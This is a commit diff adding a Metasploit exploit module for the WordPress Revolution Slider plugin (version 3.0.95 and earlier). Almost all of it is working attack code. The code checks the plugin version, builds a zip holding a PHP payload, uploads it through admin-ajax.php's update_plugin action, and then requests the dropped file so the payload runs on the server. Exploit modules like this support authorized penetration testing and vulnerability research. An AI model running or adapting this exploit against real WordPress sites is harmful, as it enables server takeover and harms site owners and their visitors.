Land rapid7#5290, Wordpress RevSlider Module

Author: firefart

modules/exploits/unix/webapp/wp_revslider_upload_execute.rb

@@ -0,0 +1,96 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::HTTP::Wordpress
+  include Msf::Exploit::FileDropper
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Wordpress RevSlider File Upload and Execute Vulnerability',
+      'Description'    => %q{
+        This module exploits an arbitrary PHP code upload in the WordPress ThemePunch
+        Revolution Slider ( revslider ) plugin, version 3.0.95 and prior. The
+        vulnerability allows for arbitrary file upload and remote code execution.
+      },
+      'Author'         =>
+        [
+          'Simo Ben youssef', # Vulnerability discovery
+          'Tom Sellers <tom[at]fadedcode.net>'  # Metasploit module
+        ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          ['URL', 'https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability/'],
+          ['EDB', '35385'],
+          ['WPVDB', '7954'],
+          ['OSVDB', '115118']
+        ],
+      'Privileged'     => false,
+      'Platform'       => 'php',
+      'Arch'           => ARCH_PHP,
+      'Targets'        => [['ThemePunch Revolution Slider (revslider) 3.0.95', {}]],
+      'DisclosureDate' => 'Nov 26 2015',
+      'DefaultTarget'  => 0)
+    )
+  end
+
+  def check
+    release_log_url = normalize_uri(wordpress_url_plugins, 'revslider', 'release_log.txt')
+    check_version_from_custom_file(release_log_url, /^\s*(?:version)\s*(\d{1,2}\.\d{1,2}(?:\.\d{1,2})?).*$/mi, '3.0.96')
+  end
+
+  def exploit
+    php_pagename = rand_text_alpha(4 + rand(4)) + '.php'
+
+    # Build the zip
+    payload_zip = Rex::Zip::Archive.new
+    # If the filename in the zip is revslider.php it will be automatically
+    # executed but it will break the plugin and sometimes WordPress
+    payload_zip.add_file('revslider/' + php_pagename, payload.encoded)
+
+    # Build the POST body
+    data = Rex::MIME::Message.new
+    data.add_part('revslider_ajax_action', nil, nil, 'form-data; name="action"')
+    data.add_part('update_plugin', nil, nil, 'form-data; name="client_action"')
+    data.add_part(payload_zip.pack, 'application/x-zip-compressed', 'binary', "form-data; name=\"update_file\"; filename=\"revslider.zip\"")
+    post_data = data.to_s
+
+    res = send_request_cgi(
+      'uri'     => wordpress_url_admin_ajax,
+      'method'  => 'POST',
+      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
+      'data'    => post_data
+    )
+
+    if res
+      if res.code == 200 && res.body =~ /Update in progress/
+        # The payload itself almost never deleted, try anyway
+        register_files_for_cleanup(php_pagename)
+        # This normally works
+        register_files_for_cleanup('../revslider.zip')
+        final_uri = normalize_uri(wordpress_url_plugins, 'revslider', 'temp', 'update_extract', 'revslider', php_pagename)
+        print_good("#{peer} - Our payload is at: #{final_uri}")
+        print_status("#{peer} - Calling payload...")
+        send_request_cgi(
+          'uri'     => normalize_uri(final_uri),
+          'timeout' => 5
+        )
+      elsif res.code == 200 && res.body =~ /^0$/
+        # admin-ajax.php returns 0 if the 'action' 'revslider_ajax_action' is unknown
+        fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable or the plugin is deactivated")
+      else
+        fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
+      end
+    else
+      fail_with(Failure::Unknown, 'ERROR')
+    end
+
+  end
+end